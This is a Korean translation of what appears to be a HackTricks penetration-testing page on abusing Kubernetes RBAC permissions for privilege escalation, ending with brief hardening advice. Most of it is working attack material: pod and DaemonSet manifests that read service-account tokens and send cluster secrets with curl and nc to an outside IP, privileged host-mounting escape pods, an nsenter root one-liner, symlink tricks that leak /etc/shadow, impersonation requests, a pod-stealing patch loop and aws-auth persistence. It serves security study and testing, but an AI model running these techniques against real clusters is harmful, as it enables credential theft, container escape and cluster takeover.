Abusing Roles/ClusterRoles in Kubernetes

HackTricks 지원

여기에서 잠재적으로 위험한 Roles 및 ClusterRoles 구성을 찾을 수 있습니다. kubectl api-resources를 사용하여 모든 지원되는 리소스를 얻을 수 있다는 것을 기억하세요.

권한 상승

쿠버네티스에서 다른 권한을 가진 다른 주체에게 액세스하는 기술을 가리키며, 기본적으로 4가지 주요 기술을 사용하여 권한을 상승할 수 있습니다:

  • 쿠버네티스 클러스터 내부 또는 외부 클라우드로 더 나은 권한을 가진 다른 사용자/그룹/SAs를 흉내내는 능력

  • 쿠버네티스 클러스터 내부 또는 외부 클라우드로 더 나은 권한을 가진 SAs를 찾거나 연결할 수 있는 팟을 생성/패치/실행할 수 있는 능력

  • SAs 토큰이 비밀로 저장되어 있기 때문에 비밀을 읽을 수 있는 능력

  • 컨테이너에서 노드로 탈출할 수 있는 능력으로, 노드에서 실행 중인 컨테이너의 모든 비밀, 노드의 자격 증명 및 클라우드 내에서 노드의 권한을 도난당할 수 있음

  • 팟에서 포트 포워드를 실행할 수 있는 능력으로, 해당 팟 내의 흥미로운 리소스에 액세스할 수 있을 수 있음

모든 리소스 또는 동사에 액세스 (와일드카드)

와일드카드 (*)는 모든 리소스에 대한 모든 동사 권한을 부여합니다. 관리자에 의해 사용됩니다. ClusterRole 내에서 이것은 공격자가 클러스터 내의 모든 네임스페이스를 남용할 수 있다는 것을 의미합니다.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

특정 동사로 모든 리소스에 액세스하기

RBAC에서 특정 권한은 중대한 위험을 야기할 수 있습니다:

  1. create: 어떤 클러스터 리소스든 생성할 수 있는 권한을 부여하여 권한 상승을 위협합니다.

  2. list: 모든 리소스를 나열할 수 있는 권한으로 민감한 데이터 누출 가능성이 있습니다.

  3. get: 서비스 계정에서 비밀 정보에 액세스할 수 있도록 허용하여 보안 위협을 야기할 수 있습니다.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Pod 생성 - 토큰 도용

파드를 생성할 수 있는 권한을 가진 공격자는 특권이 있는 서비스 계정을 파드에 부착하여 토큰을 도용하고 서비스 계정을 흉내낼 수 있습니다. 이를 통해 특권을 상승시킬 수 있습니다.

공격자에게 토큰을 전송할 bootstrap-signer 서비스 계정의 토큰을 도용하는 파드의 예시:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Pod 생성 및 이스케이프

다음은 컨테이너가 가질 수 있는 모든 권한을 나타냅니다:

  • 특권 액세스 (보호 기능 비활성화 및 기능 설정)

  • 네임스페이스 호스트 IPC 및 호스트 PID 비활성화로 권한 상승에 도움을 줄 수 있음

  • 호스트 네트워크 비활성화 네임스페이스, 노드 클라우드 권한을 탈취하고 네트워크에 더 나은 액세스를 제공함

  • 컨테이너 내부에 호스트 / 마운트

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

다음과 같이 pod를 생성하십시오:

kubectl --token $token create -f mount_root.yaml

한 줄 요약 이 트윗 및 일부 추가사항:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

이제 노드로 이탈할 수 있으므로 포스트 익스플로잇 테크닉을 확인할 수 있습니다:

은신

아마도 더 은밀하게 움직이고 싶을 것입니다. 다음 페이지에서는 이전 템플릿에서 언급된 권한 중 일부만 활성화하여 파드를 생성하면 액세스할 수 있는 내용을 확인할 수 있습니다:

  • Privileged + hostPID

  • Privileged only

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

이전 특권 부여된 파드 구성을 생성/남용하는 예제를 찾을 수 있습니다 https://github.com/BishopFox/badPods

파드 생성 - 클라우드로 이동

파드를 생성할 수 있다면 (선택적으로 서비스 계정도 생성할 수 있다면) 클라우드 환경에서 권한을 획들할 수 있을 것입니다. 이후 파드나 서비스 계정에 클라우드 역할을 할당한 다음 액세스할 수 있습니다. 또한 호스트 네트워크 네임스페이스를 사용하여 파드를 생성할 수 있다면 노드 인스턴스의 IAM 역할을 탈취할 수 있습니다.

자세한 정보는 확인하세요:

Pod Escape Privileges

배포, 데몬셋, 스테이트풀셋, 복제컨트롤러, 레플리카셋, 작업 및 크론잡 생성/패치

이러한 권한을 남용하여 새로운 파드를 생성하고 이전 예제와 같이 권한을 획들 수 있습니다.

다음 YAML은 데몬셋을 생성하고 파드 내부의 SA 토큰을 유출합니다:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Pods Exec

**pods/exec**은 쿠버네티스에서 팟 내부의 쉘에서 명령을 실행하는 데 사용되는 리소스입니다. 이를 통해 컨테이너 내부에서 명령을 실행하거나 쉘에 들어갈 수 있습니다.

따라서 팟 내부로 들어가 SA의 토큰을 훔치거나 특권이 있는 팟에 들어가 노드로 이탈하여 노드 내의 모든 팟의 토큰을 훔칠 수 있으며 노드를 (악용)할 수 있습니다:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

포트 포워드

이 권한은 로컬 포트 하나를 지정된 파드 내의 포트 하나로 전달하는 것을 허용합니다. 이는 파드 내에서 실행 중인 애플리케이션을 쉽게 디버깅할 수 있도록 하는 것을 의도했지만, 공격자는 이를 악용하여 파드 내의 흥미로운(예: DB) 또는 취약한 애플리케이션(웹?)에 액세스할 수 있습니다:

kubectl port-forward pod/mypod 5000:5000

호스트 쓰기 가능 /var/log/ 이스케이프

이 연구에서 나타난 것대로, 호스트의 /var/log/ 디렉토리가 마운트된 팟에 액세스하거나 생성할 수 있다면, 컨테이너에서 이스케이프할 수 있습니다. 이는 기본적으로 Kube-API가 컨테이너의 로그를 가져오려고 할 때 (kubectl logs <pod>를 사용함) Kubelet 서비스의 /logs/ 엔드포인트를 사용하여 팟의 0.log 파일을 요청하기 때문입니다. Kubelet 서비스는 컨테이너의 /var/log 파일 시스템을 노출하는 /logs/ 엔드포인트를 노출합니다.

따라서, 컨테이너의 /var/log/ 폴더에 쓰기 액세스 권한이 있는 공격자는 다음 2가지 방법으로 이러한 동작을 악용할 수 있습니다:

  • 일반적으로 (/var/logs/pods/namespace_pod_uid/container/0.log에 위치함) 컨테이너의 0.log 파일을 수정하여 예를 들어 /etc/shadow를 가리키는 심볼릭 링크로 만듭니다. 그런 다음 다음을 수행하여 호스트의 shadow 파일을 유출할 수 있습니다:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • 만약 공격자가 nodes/log를 읽을 수 있는 권한을 가진 주체를 제어한다면, /host-mounted/var/log/sym/로의 심볼릭 링크를 만들고, https://<gateway>:10250/logs/sym/에 접근하면 호스트의 루트 파일 시스템이 나열됩니다 (심볼릭 링크를 변경하면 파일에 액세스할 수 있음).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

해당 실험실 및 자동화된 악용은 https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

readOnly 보호 우회

충분히 운이 좋고 고도로 권한이 부여된 CAP_SYS_ADMIN 기능이 사용 가능한 경우, 폴더를 간단히 읽기/쓰기로 다시 마운트할 수 있습니다:

mount -o rw,remount /hostlogs/

hostPath 읽기 전용 보호 기능 우회

이 연구에서 언급한 대로 이 보호 기능을 우회할 수 있습니다:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

다음은 이전과 같은 탈출을 방지하기 위해 hostPath 마운트 대신 PersistentVolume 및 PersistentVolumeClaim을 사용하여 호스트 폴더를 컨테이너에 쓰기 액세스로 마운트하는 것을 의미했습니다:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

특권 계정 위장

사용자 위장 권한을 가지고 있으면, 공격자는 특권 계정으로 위장할 수 있습니다.

사용자를 위장하려면 kubectl 명령어에서 --as=<username> 매개변수를 사용하거나, 그룹을 위장하려면 --as-group=<group>을 사용하면 됩니다:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

또는 REST API를 사용하세요:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

비밀 목록

비밀 목록 권한은 공격자가 실제로 비밀을 읽을 수 있게 할 수 있습니다 REST API 엔드포인트에 액세스하는 것:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

시크릿 읽기 - 토큰 ID 무차별 대입

읽기 권한이 있는 토큰을 소유한 공격자는 해당 시크릿의 정확한 이름이 필요하지만, 더 넓은 시크릿 목록 권한과는 달리 취약점이 여전히 존재합니다. 시스템의 기본 서비스 계정은 열거될 수 있으며, 각각이 시크릿과 연결됩니다. 이러한 시크릿은 정적 접두사 뒤에 랜덤한 다섯 자리 알파벳 및 숫자 토큰(특정 문자 제외)으로 구성된 이름 구조를 가지고 있습니다. 이 토큰은 소스 코드에 따라 생성됩니다.

토큰은 전체 알파벳 및 숫자 범위가 아닌 제한된 27자 문자 집합(bcdfghjklmnpqrstvwxz2456789)에서 생성됩니다. 이 제한으로 인해 총 가능한 조합 수가 14,348,907(27^5)로 줄어듭니다. 결과적으로 공격자는 상대적으로 몇 시간 안에 토큰을 추측하기 위한 무차별 대입 공격을 실행할 수 있으며, 민감한 서비스 계정에 액세스하여 권한 상슨으로 이어질 수 있습니다.

인증서 서명 요청

certificatesigningrequests 리소스에서 create 동사를 가지고 있다면(또는 적어도 certificatesigningrequests/nodeClient에 있다면), 새 노드의 새 CeSR을 생성할 수 있습니다.

문서에 따르면 이 요청을 자동으로 승인할 수 있습니다, 따라서 이 경우 추가 권한이 필요하지 않습니다. 그렇지 않은 경우, 요청을 승인할 수 있어야 하며, 이는 certificatesigningrequests/approval에서 업데이트하고 <signerNameDomain>/<signerNamePath> 또는 <signerNameDomain>/*와 함께 signers에서 approve를 해야 합니다.

필요한 모든 권한을 갖춘 역할의 예시는 다음과 같습니다:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

그래서, 새 노드 CSR이 승인되면, 노드의 특별한 권한을 남용하여 비밀을 훔치고 권한을 승격할 수 있습니다.

이 게시물이 게시물에서 GKE K8s TLS 부트스트랩 구성이 자동 서명으로 구성되어 있으며, 이를 남용하여 새 K8s 노드의 자격 증명을 생성한 다음 그것을 훔쳐 권한을 승격합니다. 언급된 권한이 있다면 동일한 작업을 수행할 수 있습니다. 새 노드가 컨테이너 내부의 비밀을 액세스하는 것을 방지하는 오류를 우회하는 첫 번째 예제에 유의하십시오. 왜냐하면 노드는 자신에게 장착된 컨테이너의 비밀에만 액세스할 수 있기 때문입니다.

이를 우회하는 방법은 흥미로운 비밀이 장착된 컨테이너가 있는 노드 이름에 대한 노드 자격 증명을 생성하는 것입니다 (그러나 이를 수행하는 방법은 첫 번째 게시물에서 확인하십시오):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

AWS EKS aws-auth configmaps

AWS (AWS) 클러스터의 kube-system 네임스페이스에서 **configmaps**를 수정할 수 있는 주체들은 aws-auth configmap을 덮어쓰면 클러스터 관리자 권한을 얻을 수 있습니다. 필요한 동사는 **update**와 **patch**이며, configmap이 생성되지 않았다면 **create**가 필요합니다:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

**aws-auth**를 사용하여 영속성을 제공하여 다른 계정의 사용자에게 액세스 권한을 부여할 수 있습니다.

그러나 aws --profile other_account eks update-kubeconfig --name <cluster-name>다른 계정에서 작동하지 않습니다. 그러나 실제로 aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing은 클러스터의 ARN을 이름 대신에 넣으면 작동합니다. kubectl을 작동시키려면 피해자의 kubeconfig를 구성하고 aws exec args에 --profile other_account_role을 추가하여 kubectl이 토큰을 가져오고 AWS에 연락하기 위해 다른 계정 프로필을 사용하도록 만드십시오.

GKE에서 승격하기

GCP 주체에 K8s 권한을 할당하는 두 가지 방법이 있습니다. 어떤 경우에도 주체는 클러스터에 액세스할 자격 증명을 수집할 수 있도록 container.clusters.get 권한도 필요하거나 자체 kubectl 구성 파일을 생성해야 합니다(다음 링크를 따르십시오).

K8s api 엔드포인트와 통신할 때 GCP 인증 토큰이 전송됩니다. 그런 다음 GCP는 K8s api 엔드포인트를 통해 먼저 **주체(이메일로)**가 클러스터 내에서 액세스 권한이 있는지 확인한 후 GCP IAM을 통해 액세스 권한이 있는지 확인합니다. 이 중 어느 하나라도 참이면 응답됩니다. 그렇지 않으면 GCP IAM을 통해 권한을 부여하라는 오류가 표시됩니다.

그런 다음, 첫 번째 방법은 GCP IAM을 사용하는 것이며, K8s 권한에는 해당하는 GCP IAM 권한이 있으며, 주체가 해당 권한을 가지고 있다면 사용할 수 있습니다.

GCP - Container Privesc

두 번째 방법은 클러스터 내에서 **주체(이메일로 식별)**에게 K8s 권한을 할당하는 것입니다.

서비스 계정 토큰 생성

TokenRequests를 생성할 수 있는 주체(serviceaccounts/token)는 K8s api 엔드포인트와 통신할 때 SAs(여기서 정보 확인: 여기).

ephemeralcontainers

pods/ephemeralcontainersupdate하거나 patch할 수 있는 주체는 다른 팟에서 코드 실행을 얻을 수 있으며, 특권 있는 securityContext를 가진 ephemeral 컨테이너를 추가하여 노드로 탈출할 수도 있습니다.

ValidatingWebhookConfigurations 또는 MutatingWebhookConfigurations

validatingwebhookconfigurations 또는 mutatingwebhookconfigurations 위에 create, update 또는 patch 중 하나의 동사를 가진 주체는 특권을 승격하기 위해 해당 webhookconfigurations 중 하나를 생성할 수 있을 수도 있습니다.

mutatingwebhookconfigurations 예제는 이 게시물의 이 섹션을 확인하십시오.

승격

다음 섹션에서 읽을 수 있듯이: 내장된 특권 승격 방지에 따르면, 주체는 roles 또는 clusterroles 위에 escalate 동사를 가지지 않은 채로 역할 또는 클러스터 역할을 업데이트하거나 생성할 수 없습니다. 그러나 roles 또는 clusterroles 위에 escalate 동사를 가지고 있다면, 자신이 가진 권한보다 더 나은 권한을 가진 새로운 역할 또는 클러스터 역할을 업데이트/생성할 수 있습니다.

노드 프록시

nodes/proxy 하위 리소스에 액세스할 수 있는 주체는 Kubelet API를 통해 팟에서 코드를 실행할 수 있습니다(여기 참조: 여기). 이 페이지에서 Kubelet 인증에 대한 자세한 정보를 확인할 수 있습니다:

Kubelet Authentication & Authorization

권한이 있는 주체는 여기에서 Kubelet API에 권한이 있는 RCE를 사용하여 권한이 있는 RCE를 얻는 예제를 확인할 수 있습니다.

팟 삭제 + 스케줄되지 않은 노드

팟을 삭제할 수 있는 주체(pods 리소스에 대한 delete 동사), 또는 팟을 비활성화할 수 있는 주체(pods/eviction 리소스에 대한 create 동사), 또는 팟 상태를 변경할 수 있는 주체(pods/status에 액세스) 및 다른 노드를 스케줄되지 않도록 만들 수 있는 주체(nodes/status에 액세스) 또는 노드를 삭제할 수 있는 주체(nodes 리소스에 대한 delete 동사)가 팟을 제어할 수 있고, 다른 노드에서 팟을 도난당하여 취약한 노드에서 실행되도록 할 수 있으며, 공격자는 해당 팟에서 토큰을 도난할 수 있습니다.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

서비스 상태 (CVE-2020-8554)

**services/status**를 수정할 수 있는 주체는 status.loadBalancer.ingress.ip 필드를 설정하여 수정되지 않은 CVE-2020-8554를 악용하고 클러스터에 대한 MiTM 공격을 시작할 수 있습니다. CVE-2020-8554에 대한 대부분의 완화 조치는 외부 IP 서비스만을 방지합니다 (여기에 따르면).

노드 및 파드 상태

nodes/status 또는 pods/status에 대한 update 또는 patch 권한을 가진 주체는 레이블을 수정하여 적용되는 스케줄링 제약을 변경할 수 있습니다.

내장된 권한 상승 방지

Kubernetes에는 내장된 메커니즘이 있어 권한 상승을 방지합니다.

이 시스템은 사용자가 역할이나 역할 바인딩을 수정하여 권한을 상승시킬 수 없도록 보장합니다. 이 규칙의 시행은 API 수준에서 발생하여 RBAC 인가자가 비활성화되어 있을 때에도 안전장치를 제공합니다.

이 규칙은 사용자가 역할을 생성하거나 업데이트할 수 있는 경우 해당 역할이 포함하는 모든 권한을 소유해야 한다고 규정합니다. 또한 사용자의 기존 권한 범위는 생성하거나 수정하려는 역할의 범위와 일치해야 합니다: ClusterRoles의 경우 클러스터 전체 또는 Roles의 경우 동일한 네임스페이스(또는 클러스터 전체)에 제한됩니다.

이전 규칙에는 예외가 있습니다. 주체가 roles 또는 **clusterroles**에 대한 **동사 escalate**를 가지고 있는 경우 권한이 없어도 역할 및 클러스터 역할의 권한을 높일 수 있습니다.

RoleBindings/ClusterRoleBindings 가져오기 및 수정하기

이 기술은 이전에 작동했지만, 제 테스트에 따르면 이전 섹션에서 설명한 이유로 더 이상 작동하지 않습니다. 이미 가지고 있지 않은 경우 역할 바인딩을 생성/수정하여 자신이나 다른 SA에 일부 권한을 부여할 수 없습니다.

Rolebindings를 생성할 권한은 사용자가 서비스 계정에 역할을 바인딩할 수 있게 합니다. 이 권한은 사용자가 손상된 서비스 계정에 관리자 권한을 바인딩할 수 있기 때문에 권한 상승으로 이어질 수 있습니다.

기타 공격

사이드카 프록시 앱

기본적으로 파드 간 통신에는 암호화가 없습니다. 상호 인증, 양방향, 파드 간 통신.

사이드카 프록시 앱 생성

당신의 .yaml을 생성하세요.

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

수정하실 .yaml 파일에 주석 처리된 라인을 추가하세요:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

프록시의 로그를 확인하세요:

kubectl logs app -C proxy

더 많은 정보: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

악의적인 Admission Controller

Admission Controller는 객체가 영속화되기 전에 Kubernetes API 서버로의 요청을 가로채지만 요청이 인증되고 승인된 후에 작동합니다.

공격자가 Mutationg Admission Controller를 삽입하는 방법을 찾으면 이미 인증된 요청을 수정할 수 있게 됩니다. 잠재적으로 권한 상승을 할 수 있고 더 자주 클러스터에 영속적으로 남을 수 있습니다.

예시: https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

상태를 확인하여 준비되었는지 확인하십시오:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

그런 다음 새로운 파드를 배포하십시오:

kubectl run nginx --image nginx
kubectl get po -w

에러 ErrImagePull를 볼 때, 다음 쿼리 중 하나로 이미지 이름을 확인하십시오:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

위 이미지에서 볼 수 있듯이, 우리는 nginx 이미지를 실행하려고 시도했지만 최종 실행된 이미지는 rewanthtammana/malicious-image입니다. 무슨 일이 벌어졌나요!!?

기술적 세부 정보

./deploy.sh 스크립트는 mutating webhook admission controller를 설정하며, 이 controller는 구성 라인에 지정된대로 Kubernetes API로의 요청을 수정하여 관찰된 결과에 영향을 미칩니다:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

첫 번째 컨테이너 이미지를 모든 파드에서 rewanthtammana/malicious-image로 대체합니다.

OPA Gatekeeper 우회

Kubernetes - OPA Gatekeeper bypass

모범 사례

서비스 계정 토큰의 자동 마운트 비활성화

  • 파드 및 서비스 계정: 기본적으로 파드는 서비스 계정 토큰을 마운트합니다. Kubernetes는 이 자동 마운트 기능을 비활성화할 수 있도록 합니다.

  • 적용 방법: Kubernetes 버전 1.6부터 서비스 계정 또는 파드 구성에서 automountServiceAccountToken: false로 설정합니다.

RoleBindings/ClusterRoleBindings에서 제한적인 사용자 할당

  • 선택적 포함: RoleBindings 또는 ClusterRoleBindings에 필요한 사용자만 포함되도록 항상 확인합니다. 불필요한 사용자를 정기적으로 검토하고 제거하여 보안을 유지합니다.

네임스페이스별 역할 대 클러스터 전체 역할

  • Roles vs. ClusterRoles: 클러스터 전체에 적용되는 ClusterRoles 및 ClusterRoleBindings 대신 네임스페이스별 권한에는 Roles 및 RoleBindings를 사용하는 것이 좋습니다. 이 접근 방식은 더 세밀한 제어를 제공하고 권한 범위를 제한합니다.

자동화 도구 사용

참고 자료

HackTricks 지원

Last updated